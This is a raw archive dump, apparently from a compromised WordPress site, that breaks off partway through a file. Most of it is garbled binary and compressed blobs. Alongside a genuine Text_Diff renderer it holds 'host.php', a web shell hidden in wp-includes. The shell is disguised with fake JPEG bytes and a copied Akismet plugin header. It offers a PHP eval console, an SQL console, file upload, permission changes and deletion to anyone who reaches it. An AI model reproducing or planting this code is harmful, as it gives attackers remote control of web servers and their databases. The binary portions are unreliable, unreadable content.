-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+



-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     inline.php.php.tar.gz                                                                               0000644                 00000003354 15212004204 0010520 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             XoFϲ%P:ЂTBPS5unܝ㴴t/~HW|M3Ig?S7Jf!\n(dNb-/tp_6'22VwWxrpod<>?>x|FW"JbdOЃwo{=N]"sm]$LFd4\	암MtR;C.a!$,9,hHɫߏ_>GXL2|Zrg'/!/`n(c@¤C,1
#.p0\~"QX'4gp#~N7#?!SYoݎ2Zlpz?xqG?*Y@Pt5_SsUdJ+k2UVhBmSzFܠ42m=pߴOʩ/7B)[BDJ*C$HL9fT9s_,޹Wy!zaQix_*̉ zb
ZR tW$"tC|<yI+6HYE9	x!eU/|BcUUkk<+aB]&VY0;]Lo1B*aSI $$le<pX^s1i) X|d1H7=TGP'˺vSH5r4YC|,g7 h8a	tG15{3C"$6	%s4' 2zjNC|t!V9R?([`#vS-KVBtvv©Vx}Gk3LL;3F,3m:
g]T@U-P=W8
Vs2Tmf0Gߍ>sCT<E\ LwE_=&t$DuvPV(R9XgJ=|k0qEs,(æ=5u!hV᰺
}ċ]oyE*GJ]R8O	N5,f1niMKU1qCm4"beMk;JF%2fwdhRW̰0}ahrIBUvm\ʇ-6)>Khs@9i4F֏M{ L^gacywߏ˺M?[QJGy-sbbLC{.3r]kQ/A0aZj[Csl3YxY/tD	3iW{*$2Y#AㅛYn凡jcuQ gWNX|zn+v$k*xPcA<#RBճovs~io޼7ĶM^$K"O0ױ}JVB[pxz<(H	+Ux"tVy`'	P	!IG?[Sꚛ-@ԒqGD./)puyJil>H^rAJ1/rx5,h\QJ)8Tj͊)˸6++%uq$tT˛yc4jTLH)rF+eF8bvއ
C#_]ʾ>F`<좆9]8b>lYYGM}h/Ը[4hI[N&{^h;"ӌ8gnlD_;zJx[ַ_/G3                                                                                                                                                                                                                                                                                       Engine.tar.gz                                                                                       0000644                 00000017075 15212004204 0007100 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             =v8@2:m)%˹/dwO$}!	6EjHʒ2*\$;\K P(
uCZb8Nz<>pw.?~q2,˃}>ݿgϣ ,!q8%;_$,OX0gT6H&YY>9(B{n,26p2K68ϧ{ޔ"nz٣-]{) sc*	 X <.S1Yk{wr$9;N>.;7$Z
[.^)3g_wl,g0o I̚/;~l aIR>
aVe`%t P{hmn{zhOY2q
@"<j"?i9A(ɉ۝;	|>+54E*Fȏ-7y]e갭<W|N5Z}/ц 2C|0	ˠ}<hR%)iAiW9Y21FIț0k z.r)l5nA(Fl6c9SơB̚@Yұ YBg ^]d6˒3<ńwB3	XŒ0)-RʃI-"r6)H)b(!9Mf9N|s>18,Ckcr- ֫dccK⭜+4b[܄<GIsG<gC"" |)]0`H @AZLAIG賠}a,QĀC-ZڀHƢs.p" "X0liBb x'{>T! ѱd c$A!kxܔ5x7o\B99- ;^)#A49 *wXeà/%Rtܾf5y\|bb>(<[և֦ѿœy3<1V-QLؕ_AG@di "fOIq0	DtBEn}}YДT= 06*Hm<R*HX y2pȶ~7$8bni<%Z2|HN6zᕧ-D4I,c xOLVըYr\ܦ	G	
"5MF<o^x
=vD()G _ AC0@ѮT4a.LKaq0i< Cv6)TmB]k8OJP5u})\ѓ{\BCw 82o),:hyW2Y<"Tl~WY^sƜ:jlҢY y._T|ϿB<T+rd)|n;v|<<vE43PNj~סo'A88ml)w㐴AP9ѻo^Xu2vۉ,㹪|Ƞ 2UW<]R 5Qv< *b/ lrc{0C?̂6gW+~"0,YYqXt/=T0Y6nʵҩTǿfU%夸MQR6fZhDkgU?4u&=9̔kU~wn_'V1m	r{Oz~axԯ=P+.FH͗,r2e3BxR{jOTܻNG=QY[XdY!17QWQkC.SINko:}e7/fW*+NG4N$|->
O9E%jKƀqT,r$,MΡT{=Ew3Ɉ|֜y`L,<Az}xASW
a_5
y)@^59TNM0l,dx!3C4spH(,.[oZ#g7ƁǸa<~s>2Rn }ǉ)F8)_'ֹT`h!/uhL1AbӍ)u(AXP?#q5lѥ*o"SYܒjK5K+oԋ3'ޔ9ƿyew'|ܒXCk#dʌoCX5cֲ-eHB/IXql@6͗SNSgSQ[@D ʙe Ö	+Dd쉺}E4~Zme{Pמ zVm*shtK̔!]:Ɨ+-5_&	>4٤Xm &=ROo,=`!:C^2s̬(>GaQ}ǤMLwu/)h
X`Pꀒy3%,hSrR`Spn^uR;$&:l!F
B4=]֋u}+^hqK5Ur|^i6ERfid~%)UCNFPʄUIl6tpEEȥ˅NzQ6cHZoa_5{lAfk)-. A|\l
:8;sd$w KiH{v-fSJDL3R1	,a}cY*N^VY*FMG[Z(k@Yz}u}V3̒϶TD@s1ag{{.J5lq;qex?e&V;{"%uP6EGbAIOqDZU-}ץ܀<TE\+tu[ǰ=-IW @5fd v}hQ)An]tõPVuҹ!(dFOhh_bbZV_]W3iL}.Hm|Kx#E'sY_IV9`PɁh%őTRoUҔYՏ6b-v۳
d袮Q5{JX+13_E-&=Vaq+gDXEfjW)e Q hGAG1rAU\Yއy0h^5HjԩOTe-JyǩgwfCa4N4[]i*(+NnNeԌ֙3b^Ԏⳍfe 0-tK4~z_JZ+ѡiurn-٘ZTZ6 Xe>94-XlL|@|noF<+}4~H4l7:"K˵XjK{FCƾ7[7gCOf5dxSKgy ?}|f4!`S̞	肼B2;1욢gA4JR'6IzP:i
?ӍO3V;[8WIU "<ʂ2t.`	02%뉰W3nc[aBE@xR Yt\Ľ~wvwH'a6ˀ
=!5[^X ӸVՏx5fmeۻݯ55T#\CpB]Kαg]XSBq%hVp>W~n^ K2(ǃ#Cpr`.{T\O_>;6#inHdC9 ')sN8D"Za0Et!6&/RAys6P}t-]\j/D\S)_UʢAs	CA}Vu|Ux=WE%ˢWW*؆,U*b:Q*+սZ&trH]5Josno0GΰH̸P剪nZsqBN)Ɛ_R+V(X%M=/)O~* 66|)g4\
臰=[~e fH^"Jn8(CHeV4UXնeM<8'e
?:\.fd;ʫ*2c;
ioxXciql` HVYz}i&leTd[ٴ^CBԱH}%$	B))"T(.Z%iOtmv:?ܲw)񪖪³OA:+KxnV8~<[.Yo)ܽt.rx;\T X+n\9}P5YLX0*{Y=~ntG-\Ƃwz"br˷.-`|mGS"7iQ0_ƾYcooDsZHG,1U:|v@=qzt$REƶu>LLW~)Ay/2^+^ :z.mͷs3<-K3v4_~C{,g懲. u!@h 2A]#iUeK{9j:& ZG`)$Qb%Cd\§݇1 e0D47eSEu'*laN&Qz5sm=|zo߷7Q>TܥnKqXCw%AhHrZNOԀO|}&N2)hq;	:"[g`x ..oi4
MsnY]V![^(7./#SݮS;J5eMY(
NF-"r5R~Y|YY4dʙ1$}+h\-2o-~k"/v³J߃7.|J8*gc<̓l10ElFhJ")΂QקD|LH>W/M['} GNZj{X,7âBY)DrNvNnˉ3hH]ٸmBUEj<="?󁁡jzM:SpơE}Y3-G3qX
jPST&I	:$c$Zx n^!]|N0Rl<q-c)۳\T^ZĆ_W\CAc\%a;de<~1[1*y)סk^`P,=ўz/eD}!6oTF?+s-nL]hY>r0kgkʦe~@Qyo+&إD5<Z)FŔ_di.Kj.U4WV.Osm_f|)wZ
LlzO*󅬶FbTiYJEŖS6D@_S+4Hc(4S P֒7}X;z0DlIi]U#0Ny1ڞԯHhk %!+"zn[NY|Pt6߂_4$j>mUWIJI
k՟XW60@VX#Us~LFoWc4A(ҁ~*b;Tu+42!&̅\AFo՝vD6ɬriDRn#&<ub1@RB`K!xW2 bH7̊;%FrXbBG0 NT_XI0/,:u!gQdG$4vޡ~CIp`}ú8A/.,:&	6(r`w:Ɔ"8P^UvU^[VTm}I*[ ec
NU4ʘP2p48'JhTvf4HGn\t
aPt	Mne3{^Opl,W<a$dsV_ANDr`	zQkIhvtH3C
_w+z H͆=aV`Y~iB<`
~ފ?q]Kr`R(*SOۊk`|'ko3/mXԸ.'q:Êh3묎,\Ƞ+ZrɦirG|\}*tS.e9ٯd]MiK-c\	*?OsC5JPxg!RYOo)QbDJ.s5{OfL qv bР
T,MkEqHۆ9⪯J2%6h0Nb0b3fJf_ѵPՍ AS#Jq}s$9?~wkѯ*C{ bՏnRq¨dI|"ÊSJkh+JQF4Ft#y4HS\['09;b/A<]rNw⮾8kЭr[PٲeHt/j㉗ìN.>V>]]89KȦ-+ I@y10Zv24wd˔[}\}|)XME1zcY5-h#{ɧ8<Cd;ju/*Y:@@5ӂZE1ncq˱:m(Z
;`6=$0Ip'P\V!JU5LO]z{:W*v߫, 7{8Em.GhG)xt(h}=1{xFߧB
O$\2%CG}HA!51:>?UC/0:?bb.jGd'lf\'SUX'a|Dj"ne3G%7S*/O}d^#JU~o#t%n$?z-o=~R?h᳸ECue*5ذ6e%_DLa8.	҆ΛWk"e	IeU>Lk@a^¢>PRBHqP"V[!>h2&Q>E7r:MyU6}$,mロO>+K%
ynF_>Y|Dzm|nhzsݎ~\\f3]8c;\;7M&,6d3xxb-m2hjuJ:	27Qpӗ[!<_/ϗ疞Ϛ                                                                                                                                                                                                                                                                                                                                                                                                                                                                      inline.php.tar                                                                                      0000644                 00000016000 15212004204 0007303 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/inline.php                                 0000644                 00000012630 15211651624 0021415 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error_log.tar.gz                                                                                    0000644                 00000001700 15212004204 0007651 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             OO09SHcqvvBhiBnpliROY}$%?,'PyKZR?Ԣm~aVu/vuZy5.?}9t}[mjGOi$IǥLT&Ga$'4ǣ0N!>Uk.k1_exqO#M(⩸|M\|_T["eoZUZVC_A\߮hjQ\tnosuBڈf>t=ZU6EYiQUb[L|? rUM/fZ}dnEn'
BUy1?ks[	8/{!L"އ$KCxF23$z)^:`M39)>C@saLIv
QN^|j$>Cb0o(u΄ϐg:;};$k#p/h}p3씕	!	N!u9F23$)4G>8y~#p=u?o|p&Sv&|$\?;Ձ('oİSV&|$\O;ԁ('/g?;>C'/u?;>Cow$>C@sZ	!	Nq\Kꃝ7$5
>C@sv$>Cb\p~|}p&;eegHSHh}p;eggHSPh}7
0RV]LIu4G>Xx,3.&|.\VGb!wLmLӳЧI{0+B"O	l#$-ԯ	{pWycfKyq|b8r;]Z/nfu޿^k3z;da^-.aa<g~ ^                                                                  host.php.tar                                                                                        0000644                 00000242000 15212004204 0007003 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php                                   0000644                 00000236720 15211651622 0021122 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+



-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
.....................................................................................................................................<?php
/**
 * @package Akismet
 */
/*
Plugin Name: Sid Gifari SEO Code Uplaoder
Plugin URI: 
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 5.4
Requires at least: 5.8
Requires PHP: 7.2
Author: Sid Gifari SEO Code Uplaoder - Team= Gifari Industries - BD Cyber Security Team
Author URI: 
*/

		/*  %s: Title of the post the attachment is attached to. */
		

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Copyright 2005-2025 Automattic, Inc.
*/

?>
.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
